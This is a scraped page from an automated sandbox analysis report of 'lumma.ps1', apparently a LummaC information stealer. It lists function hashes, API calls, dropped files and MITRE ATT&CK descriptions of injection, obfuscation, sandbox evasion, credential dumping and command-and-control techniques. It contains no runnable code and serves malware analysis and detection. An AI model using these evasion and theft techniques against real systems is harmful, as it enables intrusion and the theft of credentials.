Opcode ID: ff58c78b0b27bbba40667f193cd225ec620092edf491b3be0aa44738014710da
Instruction ID: a6fe4633539d009e024b46cdafe5f934a4e6010abeff1ae95be2d2e31fad33eb
Opcode Fuzzy Hash: ff58c78b0b27bbba40667f193cd225ec620092edf491b3be0aa44738014710da
Instruction Fuzzy Hash: 9E21017165C3615BE714CE34A88579BB7AAEBC2700F01892CA0D1AB2C5D679880B8756

Function 0043315D Relevance: 19.3, APIs: 1, Strings: 10, Instructions: 85COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 004331A3

Strings

y, xrefs: 004331D5
D, xrefs: 004331DF
K, xrefs: 004331FD
j, xrefs: 00433207
M, xrefs: 00433221
w, xrefs: 00433231
B, xrefs: 004331E9
q, xrefs: 004331F3
A, xrefs: 004331CB
B, xrefs: 004331C1

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: InitVariant
String ID: A$B$B$D$K$M$j$q$w$y
API String ID: 1927566239-3160828158
Opcode ID: eddacfeeedbf2f75f6d5a413a3fd0e74a564a643395569db151e54d21141464b
Instruction ID: 1c928e62d6be9c8abd40ab69893dd7e66488cb55e0e55af33186cf6b993705b4
Opcode Fuzzy Hash: eddacfeeedbf2f75f6d5a413a3fd0e74a564a643395569db151e54d21141464b
Instruction Fuzzy Hash: 6241287050CBC18AD335DB38845879EBFD16BD2214F188A9DE2E94B3E2D7788145CB57

Function 00432A42 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 72COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00432A4C
VariantInit.OLEAUT32 ref: 00432A5F

Strings

C, xrefs: 00432B2D
P, xrefs: 00432B1D
C, xrefs: 00432B0D
T, xrefs: 00432AFD

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: Variant$ClearInit
String ID: C$C$P$T
API String ID: 2610073882-3051599793
Opcode ID: 70cc15cec2ffaa4e64ca4ef94809e37c86eda4dcb3d81504480f7fa9456d32e2
Instruction ID: 97d45b2a61606388edab5b45fc9f71e82de55712b11621588c9e0c32b5ea6509
Opcode Fuzzy Hash: 70cc15cec2ffaa4e64ca4ef94809e37c86eda4dcb3d81504480f7fa9456d32e2
Instruction Fuzzy Hash: 0141E52000C7C18AD3728B38845979FBFE06B96324F488A9DD4ED8B3D2DB754149DB53

Function 004345DB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0043460B
GetSystemMetrics.USER32 ref: 0043461A

Strings

, xrefs: 004346C8

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 21c571957f9eedbc13ecd4bfc36bc2f66f2a3654bfb69307476122a183b7950a
Instruction ID: a44d6496935459a921f5505b3ec94aa74778db30aba9446cb93c37adee0bb457
Opcode Fuzzy Hash: 21c571957f9eedbc13ecd4bfc36bc2f66f2a3654bfb69307476122a183b7950a
Instruction Fuzzy Hash: D0317DF49143149FDB00EFA8D98561EBBF4BB89704F11852EE898DB364D374A948CF86

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report lumma.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1hghxjfr.xyo.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aft0coal.ogt.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dgz320r3.hoq.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zt20gfqe.ckx.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5GTYAEWBPCSNDM2KMYFK.temp

Static File Info

General

Windows Analysis Report
lumma.ps1

Function 06D02A60 Relevance: 1.8, APIs: 1, Instructions: 316
COMMON

Function 06F6A670 Relevance: 1.5, Strings: 1, Instructions: 298
COMMON

Function 073DA6E0 Relevance: 17.9, Strings: 14, Instructions: 444
COMMON

Function 0816A157 Relevance: 13.7, Strings: 10, Instructions: 1230
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre